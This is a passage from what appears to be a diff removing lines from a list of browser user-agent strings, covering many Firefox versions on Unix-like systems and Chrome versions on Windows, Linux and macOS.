CentOS/3.6-2.el5.centos Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 -Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 -Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 -Mozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8 -Mozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.0.10) Gecko/20070223 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; OpenBSD sparc64; pl-PL; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.12) Gecko/20051121 Firefox/1.0.7 (Nexenta package 1.0.7) -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.5) Gecko/20041109 Firefox/1.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.0.5) Gecko/20060728 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.3) Gecko/20070423 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061211 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; en-ZW; rv:1.8.1.6) Gecko/20071125 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.8.1.6) Gecko/20070805 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.9.1b4) Gecko/20090428 Firefox/2.0.0.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-GB; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080118 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.14) Gecko/20080418 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.20) Gecko/20090108 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.9) Gecko/20071102 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (X11; U; SunOS sun4u; it-IT;) Gecko/20080000 Firefox/3.0 -Mozilla/5.0 (X11; U; SunOS sun4u; pl-PL; rv:1.8.1.6) Gecko/20071217 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; SunOS sun4v; es-ES; rv:1.8.1.9) Gecko/20071127 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Windows NT i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (ZX-81; U; CP/M86; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 -Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 -Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) -Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) - -# Google Chrome - -Mozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36 -Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 -Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 -Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 